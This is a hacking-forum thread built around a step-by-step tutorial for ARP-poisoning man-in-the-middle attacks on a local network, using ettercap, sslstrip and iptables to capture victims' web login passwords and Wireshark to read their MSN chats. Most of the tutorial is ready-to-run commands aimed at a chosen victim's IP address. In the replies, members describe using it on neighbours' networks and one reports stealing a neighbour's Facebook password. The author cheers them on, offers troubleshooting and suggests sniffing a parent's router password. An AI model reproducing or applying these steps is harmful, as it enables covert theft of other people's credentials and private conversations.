

Forum:[Hack Forums](#)

Thread: [\[TUT\] Sniffing Passwords&MSN, MITM APR poisoning--->IMAGES INCLUDED\[/TUT\]](#)

ac1dxtrem - September 23, 2010, 8:09 am

Sniffing Passwords&Conversations, MITM APR poisoning

I've seen tutorials in here for sniffing and MITM attacks, but most of them are hard for following if you are a beginner that is why I decided to make my own TUT about sniffing, that even the COMPLETE NOOB would understand it. In order to make this tutorial more easily understandable, I also included IMAGES in the tutorial so that you can see output messages and compare them to yours. So... lets start with the tutorial ? ?

!!! IMPORTANT !!!

*** If you don't want to be just another script kiddie I strongly recommend you to read this first [\[INFO\] ARP Poisoning - FULL EXPLANATION \[/INFO\]](#) **

REQUIREMENTS:

- ettercap
- sslstrip
- wireshark
- nmap

All the tools that we are going to use come with Backtrack 4 R1(download: <http://www.backtrack-linux.org/downloads/>) so no need to worry about that ? After Backtrack 4 R1 ISO is downloaded best option would be to BURN the .iso file to a DVD or USB and make a Live DVD/USB. If you don't know how to BURN .iso file to DVD or USB ask here : <http://google.com> ?

If never the less you want to use another Linux Distro then use this commands in order to install these tools:

Code Ubuntu:

```
sudo apt-get install ettercap //installs ettercap latest version automatically
sudo apt-get install wireshark //installs wireshark latest version automatically
sudo apt-get install nmap //installs nmap latest version automatically
```

Red Hat:

```
sudo yum install ettercap //installs ettercap latest version automatically
sudo yum install wireshark //installs wireshark latest version automatically
sudo yum install nmap //installs nmap latest version automatically
*sslstrip can't be installed this way so you have to install it manually.
```

/ THIS IS NOT FOR WINDOWS SO PLEASE DON'T ASK ME HOW TO DO THIS UNDER WINDOWS *\

Assuming that Backtrack 4 R1 ISO is successfully burned just boot your system from the DVD/USB and you will be taken to Backtrack 4 R1. Also if you are using another distro check if you successfully installed the necessary programs.

Now once you are in Backtrack you need to enable networking. In order to do that open konsole/terminal and type:

Code `/etc/init.d/wicd start`

Once networking is enabled we need to find our victims. When we are here the ones that don't know nothing about MITM attacks should read http://en.wikipedia.org/wiki/Man-in-the-middle_attack & http://en.wikipedia.org/wiki/ARP_spoofing so that you can understand better what and why I'm going to do otherwise you would just be script kiddies that learnt the copy-paste command and became hackers... ? Assuming that you guys read these articles you now know that always the first target when doing APR poisoning is the GATEWAY so we find the gateway with:

Code `route`

[img]http://img695.imageshack.us/img695/3768/routec.jpg[/img]

In some cases under the GATEWAY you get an IP but as you can see in my case under GATEWAY it says speedtouch.lan in order to get the IP simply use:

Code `ping <your_gateway_name>`
or use

Code `route -n`

This will give the same results as above only instead of host names it will give you their IP addresses.

Once you have the gateway you need to get your second target or the VICTIM. We do that by scanning the subnet with nmap. If you are gateway is for example 192.168.1.254 then your subnet is 192.168.1.1 that is why we use the following command:

Code `nmap -sP 192.168.1.1/24`

[img]http://img840.imageshack.us/img840/259/nmap.jpg[/img]

After you choose your victim which is your second target for APR poisoning keep that IP together with your GATEWAY IP cause from now on you will have to replace these IPs instead of the Target 1 and Target 2 IPs in the tutorial. In my case the victim and Target 2 is 192.168.1.65.

Ok now we need to enable IP tables:

Code `nano /etc/etter.conf`

Now you need to scroll down and find the following:

Code `# if you use iptables:`

`#redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"`

`#redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"`

And replace(just delete the '#' signs before redir_command) with this:

Code `# if you use iptables:`

`redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"`

`redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j`

REDIRECT --to-port %rport"
Hit 'CTRL+X' then 'y' then ENTER.

Now we create our IP tables rule and we enable IP forwarding:

Code iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000

echo 1 > /proc/sys/net/ipv4/ip_forward
[img]http://img833.imageshack.us/img833/7294/iptables.jpg[/img]

Now you need to find the interface you are using. Do that by typing:

Code ifconfig
The interface you need, is the one that contains your IP address. In my case it is eth0.

EVERYTHING till now was a preparation for the attack. The actual attack begins now ! ?
First we need to start sslstrip:

Code sslstrip -a -k -f
Then open another terminal and run ettercap:

Code ettercap -T -i eth0 -q -M arp:remote /192.168.1.254/ /192.168.1.65/
[img]http://img213.imageshack.us/img213/1374/ettercap.jpg[/img]

THIS IS IT GUYS YOU DID IT !!! Now every time the victim logs in to Facebook, gmail, hotmail ,yahoo or any other site the password will be showed in the ettercap window. When you want to stop the attack just hit 'q' and targets will be re-arpd.

Sniffing MSN conversation

Ok so this is the second part from this tutorial and it starts exactly where the previous ended. After you launched ettercap(ettercap -T -i wlan0 -q -M arp:remote /192.168.1.254/ /192.168.1.65/ --> after this command) open another terminal and start Wireshark. Because all the traffic from the victim is going through you with the use of packet analyzer like Wireshark you would be able to sniff MSN conversations cause the packets are actually going through your PC first. In the new terminal type:

Code wireshark

After Wireshark starts you will need to select your interface. Use the same interface that you used in the previous part. Now you will be able to see a lot of datas. In order to get only the MSN packets in the filter tab write:

Code msnms

Now each packet you get is only from msn and you will search for the conversation in the bottom tab. Just go through the packets and see which one contains the conversations.

THE END Feel free to ask for everything that you can't understand!

ariton - September 23, 2010, 8:14 am

Yeah baby, i was looking for a tut like this.

pk3r4lif3 - September 23, 2010, 8:17 am

Nice tut, I might use but I'm not using linux and my vps is about to run out of days.

ac1dxtrem - September 23, 2010, 8:18 am

(Sep 23, 2010 08:14 AM)ariton Wrote: [\[CITE\]](#) Yeah baby, i was looking for a tut like this.
I am glad I helped ! :D

(Sep 23, 2010 08:17 AM)pk3r4lif3 Wrote: [\[CITE\]](#) Nice tut, I might use but I'm not using linux and my vps is about to run out of days.
My advice ... START USING LINUX :D

MasterMind98 - September 23, 2010, 9:20 am

This is pretty nice, I am going to use this on my neighbor's wireless network. Thanks for the tutorial.

ac1dxtrem - September 23, 2010, 11:06 am

(Sep 23, 2010 09:20 AM)MasterMind98 Wrote: [\[CITE\]](#) This is pretty nice, I am going to use this on my neighbor's wireless network. Thanks for the tutorial.
Thanks m8 I'm glad you like it. If you need any help post here :)

ac1dxtrem - September 25, 2010, 4:38 am

WooW 100 views and only 5 replies ...

sajd - September 30, 2010, 1:03 pm

i tried your tut on my neighthor network and i've got something like this and some other code ... :O
what is this :S i dont get it

Wed Sep 29 21:51:02 2010

TCP 192.168.1.67:55408 --> 192.168.1.254:80 | AP

CC@...z..GC..3o...t[

....m...v...%_....U..p{-gDd&..fc.f..3\$i*.c~...r..'Z..~.&..e.J.pP..xh..DI4....~[U.[.c&....j..i.h..5L..j7.+...y.,n..q'
;D.._...?.6.
...E).X...7{KD9.S..EH..;)=g..N..u.l..Y..p.[.Q..~... '..#....=_..6.C..Bz..lL.O.;....(9
o....Ja...x.y.hL..L~...ixf..E..f.._..^.."...\3.c.DC~e

Wed Sep 29 21:51:02 2010

TCP 192.168.1.67:55408 --> 192.168.1.254:80 | AP

t xmlns:dt="urn:schemas-microsoft-com:datatypes"
dt:dt="ui2">62497</NewExternalPort><NewProtocol
xmlns:dt="urn:schemas-microsoft-com:datatypes"
dt:dt="string">UDP</NewProtocol></m:GetSpecificPortMappingEntry></SOAP-ENV:Body></SOAP-
ENV:Envelope>.
..Bz..lL.O.;....(9
o....Ja...x.y.hL..L~...ixf..E..f.._..^.."...\3.c.DC~eu...|("....
..'C..pg.y...V.0.m.&....D.q.B..m..m.""*...[.HArZ..(a..t.;..'52..\.)9..1.X4..!..h.+d%..1.;*)&...3....zB"A..1Q..=
WH.^F.... Y.,..1....'..L.. u...^..>..v..9l..
1d01.
.]is.F..+..KU..../.S^8...h.|.L.@..`..U.o....nt..H.Z(.

ac1dxtrem - September 30, 2010, 1:06 pm

You got this from wireshark ?

flupavo - October 4, 2010, 8:26 am

" *sslstrip can't be installed this way so you have to install it manually. "

1. Anyone know how to do that? That part got me stuck
2. Do I need a specific wireless card for this, or any wireless card will work?
3. Thanks a lot for the tutorial, very good explaining!

ac1dxtrem - October 4, 2010, 10:19 am

(Oct 4, 2010 08:26 AM)flupavo Wrote: [\[CITE\]](#) " *sslstrip can't be installed this way so you have to install it manually. "

1. Anyone know how to do that? That part got me stuck
2. Do I need a specific wireless card for this, or any wireless card will work?
3. Thanks a lot for the tutorial, very good explaining!

Here you go I will give a detail step by step guide to installing SSLStrip. First you need to download SSLStrip from here: <http://www.thoughtcrime.org/software/sslstrip/>

Then type this command to unzip it:

Code tar -zxvf sslstrip-0.4.tar.gz

Then go to the folder that you have unzipped SSLStrip in and BUILD it with this command:

Code python setup.py build

Now install SSLStrip with this command:

Code sudo python setup.py install

Hope I helped :)

Middle - October 4, 2010, 11:48 am

doesn't

Code apt-get install sslstrip

Work too?

ac1dxtrem - October 4, 2010, 12:08 pm

(Oct 4, 2010 11:48 AM)Middle Wrote: [\[CITE\]](#) doesn't

Code apt-get install sslstrip

Work too?

Nope, you have to install it manually. Or maybe if you add the Backtrack repository it will work but I am not sure I've never done it that way. The above installation process works fine so you can use that one :)

Middle - October 4, 2010, 12:40 pm

So if you run backtrack 4 do what i said if not do what ac1dxtrem said =]

ac1dxtrem - October 4, 2010, 1:08 pm

(Oct 4, 2010 12:40 PM)Middle Wrote: [\[CITE\]](#) So if you run backtrack 4 do what i said if not do what ac1dxtrem said =]

Well if he runs Backtrack he already has SSLStrip installed so no need to worries xD

flupavo - October 4, 2010, 6:55 pm

Very nice step by step going to try this when I got some time, thanks. Very clear too...

So then all those programs DO come with backtrack? Do you still have to install it then? Sorry for the noob question.

Also is a specific network card needed, or any will do?

disk0 - October 4, 2010, 8:15 pm

Looks good, except it's ARP poisoning, not APR. ARP: Address Resolution Protocol. APR: ARP Poison Routing, so saying APR Poisoning is kind of redundant.

ac1dxtrem - October 5, 2010, 2:51 am

(Oct 4, 2010 08:15 PM)disk0 Wrote: [\[CITE\]](#) Looks good, except it's ARP poisoning, not APR. ARP: Address Resolution Protocol. APR: ARP Poison Routing, so saying APR Poisoning is kind of redundant.

Yeah you are right I never noticed that actually :)

(Oct 4, 2010 06:55 PM)flupavo Wrote: [\[CITE\]](#) Very nice step by step going to try this when I got some time, thanks. Very clear too...

So then all those programs DO come with backtrack? Do you still have to install it then? Sorry for the noob question.

Also is a specific network card needed, or any will do?

No you don't need a specific network card and you don't need to install the programmes :)

flupavo - October 7, 2010, 10:02 pm

When I type this in

```
/etc/init.d/wicd start
```

No IP addresses or anything pop up, it's the same as the screenshot, but no IP addresses. Im trying to hack myself here and failing lol, any ideas? Im on wireless of course. I followed the steps 50 times I can't be doing anything wrong, do I need a special type of wireless card?

(I tried this on another PC/dsl line hooked up straight to the modem via ethernet chord and saw myself, but nothing appears on my other Wireless PC, I do have a lot of neighbors too)

ac1dxtrem - October 8, 2010, 4:07 am

(Oct 7, 2010 10:02 PM)flupavo Wrote: [\[CITE\]](#) When I type this in

```
/etc/init.d/wicd start
```

No IP addresses or anything pop up, it's the same as the screenshot, but no IP addresses. Im trying to hack myself here and failing lol, any ideas? Im on wireless of course. I followed the steps 50 times I can't be doing anything wrong, do I need a special type of wireless card?

(I tried this on another PC/dsl line hooked up straight to the modem via ethernet chord and saw myself, but nothing appears on my other Wireless PC, I do have a lot of neighbors too)

ok so /etc/init.d/wicd is a command only for those that use backtrack and they have to start the wicd network manager. If you are already connected to a network you should type ifconfig and find the interface with your IP address listed. Also in order to hack your self with this method you need 2 computer. The first to be the attacker and the second one to be the victim. Are you trying the attack like that ?

flupavo - October 8, 2010, 8:48 am

Sorry it was late I didn't explain it well, I meant when I type "route" no ip addresses or gateways are listed, not even my own, it's the same screenshot as yours, except no IP address.

When I type in ifconfig it shows my ip address as 127.0.0.1 which is localhost but how would I find

out the gateway?

Yes Im using backtrack and I have 2 PC's, so one will be the slave and the other would be the MITM, btw thanks a lot for your help

Middle - October 8, 2010, 9:19 am

Have you tried a simpler method? Look at my MITM tutorial in my signature. It will only take 5 minutes to see if that one works.

ac1dxtrem - October 8, 2010, 11:40 am

(Oct 8, 2010 08:48 AM)flupavo Wrote: [\[CITE\]](#) Sorry it was late I didn't explain it well, I meant when I type "route" no ip addresses or gateways are listed, not even my own, it's the same screenshot as yours, except no IP address.

When I type in ifconfig it shows my ip address as 127.0.0.1 which is localhost but how would I find out the gateway?

Yes Im using backtrack and I have 2 PC's, so one will be the slave and the other would be the MITM, btw thanks a lot for your help

The problem is not with the command. The problem is with your network configuration. 127.0.0.1 is not your IP address that is the localhost like you said. You need an IP address that you get from your router. It usually serves the clients through a DHCP server, but if you don't use DHCP then you have to configure your network by your own.

p.s. If you are using Backtrack then be sure to type /etc/init.d/wicd start on the beginning. :)

mtrmtr - October 8, 2010, 12:48 pm

Is this sniffing method has been tested on a target that runs windows 7 with the latest internet explorer?

ac1dxtrem - October 8, 2010, 1:41 pm

(Oct 8, 2010 12:48 PM)mtrmtr Wrote: [\[CITE\]](#) Is this sniffing method has been tested on a target that runs windows 7 with the latest internet explorer?

Personaly I have tested this on Fedora 13 running Firefox and Chrome, Ubuntu 10.04 Running Firefox and Chrome, Win7 running Firefox and Chrome so I see no reason why it wont work with IE :)

flupavo - October 8, 2010, 2:01 pm

My network is dhcp so what would be the solution to get list an ip address when I type that command? And I did type that command in the beginning, still no IP;s pop up :(

ac1dxtrem - October 8, 2010, 3:20 pm

give me the output of this command:

Code ifconfig

ac1dxtrem - October 8, 2010, 6:12 pm

Okay so you problem is that you don't get an IP address from the router just like I told you. Are you using BT4 from a Live CD or a Virtual Machine ?

flupavo - October 8, 2010, 6:20 pm

BT4 from a live cd, I boot it through startup.

ac1dxtrem - October 8, 2010, 6:28 pm

Do you use wireless or wired network ?

flupavo - October 8, 2010, 6:30 pm

I use wireless, when I tried this on a wired network it showed an IP, but that isnt any good to me since I want to be able to do wireless ;)

ac1dxtrem - October 8, 2010, 6:35 pm

(Oct 8, 2010 06:30 PM)flupavo Wrote: [\[CITE\]](#) I use wireless, when I tried this on a wired network it showed an IP, but that isnt any good to me since I want to be able to do wireless ;)

That was my point ! I knew that, that was the problem ! You have to install the drivers for your wireless card.

flupavo - October 8, 2010, 6:36 pm

What kind of drivers? My wireless works fine for browsing the interent, or is there some type of command i need to type in backtrack?

ac1dxtrem - October 8, 2010, 6:39 pm

(Oct 8, 2010 06:36 PM)flupavo Wrote: [\[CITE\]](#) What kind of drivers? My wireless works fine for browsing the interent, or is there some type of command i need to type in backtrack?

What you mean it works fine ? Can you surf the net with BT4 when you are on wireless ? If so give me the output of this command

Code iwconfig

flupavo - October 8, 2010, 6:46 pm

No i mean im on windows so if I dont boot backtrack from the cd i can browse the internet on windows.

You mean I need to install the wireless drivers onto backtrack? How can I do that?

Heres the output though:

lo - no wireless extensions

eth0 - no wireless extensions

ac1dxtrem - October 8, 2010, 6:52 pm

You will have to google linux drivers for your wireless card and then install them. I am not sure if there is a way to install the drivers permanently but they should work for that session.

devnull - October 8, 2010, 7:01 pm

thanks for sharing this tutorial

flupavo - October 8, 2010, 7:24 pm

Ok thanks atleast we figured out the problem, hopefully I can figure out how to install the drivers ;)

ac1dxtrem - October 8, 2010, 7:39 pm

(Oct 8, 2010 07:24 PM)flupavo Wrote: [\[CITE\]](#) Ok thanks atleast we figured out the problem, hopefully I can figure out how to install the drivers ;)

Post the name of the chipset and I will help you with the search when I have time. :)

mtrmtr - October 9, 2010, 2:55 pm

I tested this with backtrack 4 on my target laptop running win XP sp3.

I can browse the internet on the target computer but as soon as i try an https website (like

facebook or yahoo) an type my credentials , the browser cannot access the page and I do not get the username and password in Ettercap.

I was using both internet explorer and firefox on my target computer without seeing any result in Ettercap.

Did anyone tested that on a target computer that has all the latest updates?

Maybe microsoft has released an update that makes this sniffing not working anymore.

ac1dxtrem - October 10, 2010, 11:03 am

Hmm... that sounds strange I have tested it a lot of times I don't know what's the problem... Does that happen only for HTTPS sites or it happens all the time ?

JonSon - October 11, 2010, 12:15 am

i need to get my router password without password cracking it... because my dad has a password with letters and numbers

ac1dxtrem - October 25, 2010, 12:26 pm

<https://hackforums.net/showthread.php?tid=763090>

Here is the link to the thread that contains the automated script for this tutorial.

p.s. I apologize for the double posting but I can't edit my posts...

ac1dxtrem - December 13, 2010, 2:40 pm

(Oct 11, 2010 12:15 AM)mike123465 Wrote: [\[CITE\]](#) i need to get my router password without password cracking it... because my dad has a password with letters and numbers
You can use this attack to sniff the password with no problems.

Ghost Face - December 14, 2010, 10:03 am

1 small typo

EVERYTHING till now was a preparation for the attack. The actual attack begins now ! Superman
First we need to start sslstrip:

Code:

```
sslstrip -a -k -f
```

it should be "sslstrip"

Sezmic - December 14, 2010, 1:08 pm

Nice tutorial. I was supposed to get around to doing this on some networks in linux but haven't had the chance. Great thread, nice job.

ac1dxtrem - December 14, 2010, 1:54 pm

(Dec 14, 2010 02:08 PM)Sezmic Wrote: [\[CITE\]](#) Nice tutorial. I was supposed to get around to doing this on some networks in linux but haven't had the chance. Great thread, nice job.

Thanks man :) I also coded a script that automates this method :) Have you check it ? :)

Blacktiger - December 15, 2010, 2:02 pm

Hello, congratulation for your Tut, it's simple and well written !

Unfortunately, when i follow your indications, i get this situation :

[img]http://s2.noelshack.com/uploads/images/16840680503526_erreur.png[/img]

[img]http://s2.noelshack.com/uploads/images/6569276516649_strange.png[/img]

What's the meaning of this ? I've done connection to Gmail, Facebook, Msn, but when i've connected the slave to msn, i've just got "SEND L3 ERROR ..." (you can read the full line in the first screenshot, near the lasts lines).

Ps : I'm absolutly sorry for my bad english, i'm french speaker, i'm doing my best :-)

ac1dxtrem - December 15, 2010, 2:06 pm

Hmm... Are you sure that yo used the quiet filter in the command ? (-q)

Code ettercap -T -q -i [interface] -M arp:remote /default-gateway's-IP/ /victim's-IP/

Have you used this command for ettercap ?

Blacktiger - December 15, 2010, 2:17 pm

Yes, like in the TUTO.

Look at the first line, it's just like you use it.

http://s2.noelshack.com/uploads/images/17570329281351_yes.png

pushl %ebp - December 15, 2010, 2:19 pm

Nice work. I have bookmarked this for later. Thanks for the guide. I will have to look for my BT4 live CD now. LOL.

ac1dxtrem - December 15, 2010, 2:33 pm

(Dec 15, 2010 03:17 PM)Blacktiger Wrote: [\[CITE\]](#) Yes, like in the TUTO.

Look at the first line, it's just like you use it.

http://s2.noelshack.com/uploads/images/17570329281351_yes.png

Reboot your Backtrack start from the beginning. And don't start SSLStrip at all. I've found out that on some networks SSLStrip doesn't work good with Ettercap. If that doesn't work I will tell you another possibility.

(Dec 15, 2010 03:19 PM)h4ckingURLife Wrote: [\[CITE\]](#) Nice work. I have bookmarked this for later. Thanks for the guide. I will have to look for my BT4 live CD now. LOL.

LoL I am glad that a member like you is interested in this. Thanks for your support :)

Blacktiger - December 15, 2010, 2:36 pm

I'm going to migrate from ubuntu to backtrack 4 and i'll tell you.

(For a student in computer science like me (and who'll have networking cursur in february), it could be a very useful distri.)

ac1dxtrem - December 15, 2010, 3:05 pm

(Dec 15, 2010 03:36 PM)Blacktiger Wrote: [\[CITE\]](#) I'm going to migrate from ubuntu to backtrack 4 and i'll tell you.

(For a student in computer science like me (and who'll have networking cursur in february), it could be a very useful distri.)

It will be best if you do this from Backtrack. Ubuntu has it's ROOT user locked and it gave me

problems when I tried to set my own rules in the firewall with the sudo command. Try it with Backtrack and repost :)

xplode - December 17, 2010, 1:13 pm

wen i type wireshark in new terminal i got erro :s
oot@bt:~# wireshark

(wireshark:16010): GLib-GObject-WARNING : invalid (NULL) pointer instance

(wireshark:16010): GLib-GObject-CRITICAL : g_signal_emit_by_name: assertion
'G_TYPE_CHECK_INSTANCE (instance)' failed

(wireshark:16010): GLib-CRITICAL : g_ascii_strcasecmp: assertion 's1 != NULL' failed

(wireshark:16010): Gtk-CRITICAL : gtk_box_pack: assertion 'child->parent == NULL' failed

(wireshark:16010): Gtk-CRITICAL : gtk_box_pack: assertion 'child->parent == NULL' failed

(wireshark:16010): Gtk-CRITICAL : gtk_widget_set_sensitive: assertion 'GTK_IS_WIDGET
(widget)' failed

(wireshark:16010): Gtk-CRITICAL **: gtk_widget_set_sensitive: assertion 'GTK_IS_WIDGET
(widget)' failed

ac1dxtrem - December 17, 2010, 3:02 pm

This is reeally strange.... Are you using BT4 ?

xplode - December 18, 2010, 1:16 am

yup using backtrack 4 rc2. even i cant change MAC ADDRESS using this command

root@bt:~# ifconfig wlan0 down

root@bt:~# macchanger -s wlan0

Current MAC: 00:21:5d:a3:ce:bc (unknown)

root@bt:~# macchanger -m 00:11:22:33:44:55 wlan0

Current MAC: 00:21:5d:a3:ce:bc (unknown)

ERROR: Can't change MAC: interface up or not permission: Device or resource busy

root@bt:~# ifconfig wlan0 up

i was able to change it b4 donno what is going on any help ?

ac1dxtrem - December 18, 2010, 1:03 pm

Which option do you choose when you boot your BT4 and are you using the GUI or the CLI of BT4 ?

kayzeur - December 19, 2010, 1:36 am

a big big thanks for this sniffing i was looking for it

ac1dxtrem - December 19, 2010, 9:22 am

(Dec 19, 2010 02:36 AM)kayzeur Wrote: [CITE](#) a big big thanks for this sniffing i was looking for it
You are welcome m8 :) Glad you like it. :)

Skatz-Bizarro - December 19, 2010, 10:41 am

Very nice tut. i like it.

i was windows user, i just got my ubuntu, anyway iwill try backtrack for this.

ac1dxtrem - December 19, 2010, 10:51 am

You can use ubuntu for this also but it is easier to do it with Backtrack 'cause it is prepared for this better :)

JjClever? - December 19, 2010, 6:33 pm

The problem I had with my Ubuntu 9.10 was with editing the iptables rule: the "echo 1 > /proc/sys/net/ipv4/ip_forward" command. It just wouldn't let me change it from 0 to 1. I finally just got it there and did it with a rooted gedit.... So that fixed that problem.

Now Ettercap's Gui hangs whenever i scan for hosts, so I've just decided to stick the the command line for now, no biggie.

One question for the OP, my ettercap automatically decrypts the ssl out of the https websites so i can see the host's passwords in plain text.--without sslstrip. This is happening right in front of my face, i dont understand why, i didn't tell ettercap to use its built-it ssl stripper.... but nonetheless, it seems like using sslstrip is unnecessary because of this fact. Lemmi know what you think.

ac1dxtrem - December 19, 2010, 6:45 pm

Yep the new version of Ettercap use its built-in SSLstripper by default. But that stripper is not as powerfull as SSLStrip there for you can combine them or simply use them separately. The built-in SSLStripper in Ettercap always asks you to accept a certificate in order to continue and SSLStrip just stripss the SSL without asking you to accept anything. Anyway I've experienced some problems on some systems if I combine SSLStrip and Ettercap. There for if you have any problems you can use ARPSPOOF + SSLStrip only OR use ARPSPOOF + SSLSTRIP + ETTERCAP but Ettercap will be run in sniffing mode only !!! No poisoning will be made with Ettercap, Arpspoof will do that.

overdoze - December 20, 2010, 9:05 am

Awesome tutorial :) Learned a lot from this, and it was easy to follow. Thanks :) Just one question:

Can you sniff packets on a whole network or only from one device?

ac1dxtrem - December 20, 2010, 10:06 am

Yep you can sniff packets from whole network but it can result with DoSing the network. If you make ARP poisoning on whole network then you actually redirect the whole traffic to go through you. If your network card can't handle all the traffic you will jam the network... If you want to poison the whole network just don't specify your target and Ettercap will automatically poison the whole subnet.

Crypke - December 20, 2010, 10:13 am

Very informative, helped me a heap.. Thanks mate :)

ac1dxtrem - December 20, 2010, 10:51 am

You welcome Hillact ;) Enjoy my other tutorials also ;) Check the links in my signature.

MarkW7 - December 20, 2010, 4:09 pm

Interesting how you're using Wireshark as well to sniff MSN conversations. Do they appear in plain text? Does this work for other MSN clients such as emesene for Linux?

ac1dxtrem - December 20, 2010, 4:56 pm

(Dec 20, 2010 05:09 PM)MarkW7 Wrote: [\[CITE\]](#) Interesting how you're using Wireshark as well to sniff MSN conversations. Do they appear in plain text? Does this work for other MSN clients such as emesene for Linux?

Yes the conversation appears in plain text, but you have to scroll down the packets one by one... That can be a pain in the ass but since you are using a filter all the packets will be only from the

MSN protocol and it won't be as boring as it looks :) I haven't tested with other MSN clients but as long as they are using the MSN protocol I don't think that sniffing the conversations will be a problem... :)

tayraN - December 20, 2010, 6:53 pm

i like it very nice tut :D

SirDonkeyPunch - December 20, 2010, 11:35 pm

amazing how you only got 1 star for this.... this fucking skiddie ass board is nothing but high school kids trying to be l33t and ddos theyre buddies playing black ops. dont understand what white papers are, too lazy to experiment on systems. dont even know what a damn shell acct is. its pitiful. you sir get my vote as "not a jackass nub" on these boards. congratz

ac1dxtrem - December 21, 2010, 10:37 am

(Dec 21, 2010 12:35 AM)SirDonkeyPunch Wrote: [\[CITE\]](#) amazing how you only got 1 star for this.... this fucking skiddie ass board is nothing but high school kids trying to be l33t and ddos theyre buddies playing black ops. dont understand what white papers are, too lazy to experiment on systems. dont even know what a damn shell acct is. its pitiful. you sir get my vote as "not a jackass nub" on these boards. congratz

Thanks for that man I really appreciate it... :) I was also really confused when I saw that someone rated my thread as a poor thread with only one star but there is nothing I can do about it... some people are just too stupid to understand some things even when it is explained that well...

m.ouz - December 28, 2010, 5:27 pm

Thank you man ! a really good tut

remram - December 29, 2010, 3:00 am

Very good tut. Not shet in win. Thanks and greates job.

ac1dxtrem - December 30, 2010, 2:44 pm

Thank you man :) Feel free to check my other tutorials or ask me for anything regarding them :)

LittleSpy - December 30, 2010, 5:43 pm

good job mate! :)

Thanks.

jkyu9 - January 3, 2011, 11:05 am

Bookmarked gonna take a closer look at this soon looks really in depth nice job :D

Middle - January 3, 2011, 11:07 am

Lol you get all the nice feed back XD

Had 600 downloads of WiPhire and 63 comments... 10%

and it's way worse on Backtrack forums there was like a 1000 downloads and like 20 comments....

ac1dxtrem - January 3, 2011, 11:10 am

Hahah I don't know what to tell you man :)

ac1dxtrem - January 3, 2011, 3:01 pm

I agree with Artifice1112 only few people can understand more complex methods on this forum and some of them are only interested in leeching.

potti - January 6, 2011, 12:10 pm

Very simply to follow tutorial.

Thanks, my little cousin is a script kitty now.

ac1dxtrem - January 7, 2011, 5:27 am

Well I posted a detailed ARP Poisoning explanation so that you don't be script kiddies :) Here is the link ----> <https://hackforums.net/showthread.php?tid=948409>

WestCyber - January 9, 2011, 8:38 pm

I AM GETTING AN ERROR iptables needs to be updated
any help on this would be very much appreciated

RepFucked - January 9, 2011, 10:35 pm

This doesnt work I want my neighbors t1 NAOW

Boa Hancock - January 10, 2011, 6:06 pm

lets just neighbour logs in paypal?

ac1dxtrem - January 11, 2011, 8:27 am

(Jan 9, 2011 11:35 PM)RepFucked Wrote: [\[CITE\]](#) This doesnt work I want my neighbors t1 NAOW
This works perfectly and honestly I don't give a fuck what you want.

(Jan 9, 2011 09:38 PM)WestCyber Wrote: [\[CITE\]](#) I AM GETTING AN ERROR iptables needs to be updated

any help on this would be very much appreciated

You get that error because you are not setting your rule as ROOT user. Login in terminal as root:

Code su

type this in terminal. Then type root for username and your root password.

t3rm1n4t0r - January 13, 2011, 10:47 am

I'm able to DNS posoin a network, but as soon as i tr the sniffing, i do see the packets, but the internet on all my other computers doesn't work anymore. I guess the packets aren't forwarded, allthough i did it just like you do in a fresh ubuntu 10.10

EDIT:

When i do q i get this:

Perhaps iptables or your kernel needs to be upgraded.

iptables v1.4.4: can't initialize iptables table `nat': Permission denied (you must be root)

It's in running as root though 0.o

puf - January 14, 2011, 1:10 pm

Hi!A very clear and good tutorial.Thanks for it i learned alot of it.

My fastmail.fm emailaccount is the only thing i tried wat is not seen by Ettercap.In insecure mode the same ?

Another website gave me a message about a certificate and i could not acces it.

NinjaFisk - January 17, 2011, 1:09 pm

Just one question..

When i use "ettercap" , i really cant find any good information. is the only way for me to see passwords or other stuff in wireshark? if so, whats the filtering option for facebook in wireshark.

Best regards :)

thejode - January 21, 2011, 1:31 pm

Hey thanks. I managed to sniff out one of my neighbor's password a few days ago to facebook with this tut. But there were three issues that I encountered.

- 1.) When I used the `/ect/init.d/wicd start` command, I got an error about the directory not existing.
- 2.) The nMAP command for scanning everyone else on the network returned an error. Instead I used the autoscanner thing.
- 3.) nano `/ect/etter.conf` gave me a blank screen. After looking around a bit, I used backtracks text editor to change the settings.

Other than that, it worked perfectly. Did anyone else encounter such problems?

Middle - January 21, 2011, 1:42 pm

- 1.) When I used the `/ect/init.d/wicd start` command, I got an error about the directory not existing.

Thats because it is `/etc/init.d/wicd start`!

thejode - January 21, 2011, 1:46 pm

(Jan 21, 2011 02:42 PM){Middle} Wrote: [\[CITE\]](#) 1.) When I used the `/ect/init.d/wicd start` command, I got an error about the directory not existing.

Thats because it is `/etc/init.d/wicd start`!

Ok, exclude the "command" I probably should have put that in quotes.

But even when I type `"/ect/init.d/wicd start"`, I get an error about the directory not existing.

Middle - January 21, 2011, 1:55 pm

Thats because it is `/etc/` not `/ect/` !!!

LordTKO - January 21, 2011, 10:59 pm

This tut is really in depth, and well done :). Good job man, im saving this in my favourites to look back on this later :).

seskanda - January 22, 2011, 12:07 am

Thankfully, this tut will ONLY work under Windows if you use VMWare

thejode - January 22, 2011, 9:22 pm

(Jan 21, 2011 02:55 PM){Middle} Wrote: [\[CITE\]](#) Thats because it is `/etc/` not `/ect/` !!!??? Oh. Oops. Too short

yea its alex - January 28, 2011, 8:43 am

thanks for tut, im using cane on windows, witch can sniff little easy i think

EnemyOfZionist - January 28, 2011, 1:01 pm

Hey, i wanted to ask something do i need to crack the persons(neighbours) wpa key before doing the sniffing?

Thanks

zeliard - January 28, 2011, 4:07 pm

Thank u very much for tutorial, i am going to use it on my neighbor's wireless network too. Educational purposes of course :)

zhelman_00 - January 28, 2011, 4:57 pm

this set up can work in my linux mint 9 isadora???how???can u pls send me a pm

EnemyOfZionist - January 29, 2011, 4:55 am

hey guys do I need crack the persons wpa
Before doing the sniffing or not?

thejode - January 30, 2011, 9:56 am

(Jan 29, 2011 05:55 AM)alom899090 Wrote: [\[CITE\]](#) hey guys do I need crack the persons wpa
Before doing the sniffing or not?
Yes... How can you expect to connect to the network without a password?

EnemyOfZionist - January 30, 2011, 3:24 pm

damn, decoding the handshake takes to long, what is the quickest and effective way of cracking it?

WAF - January 30, 2011, 11:46 pm

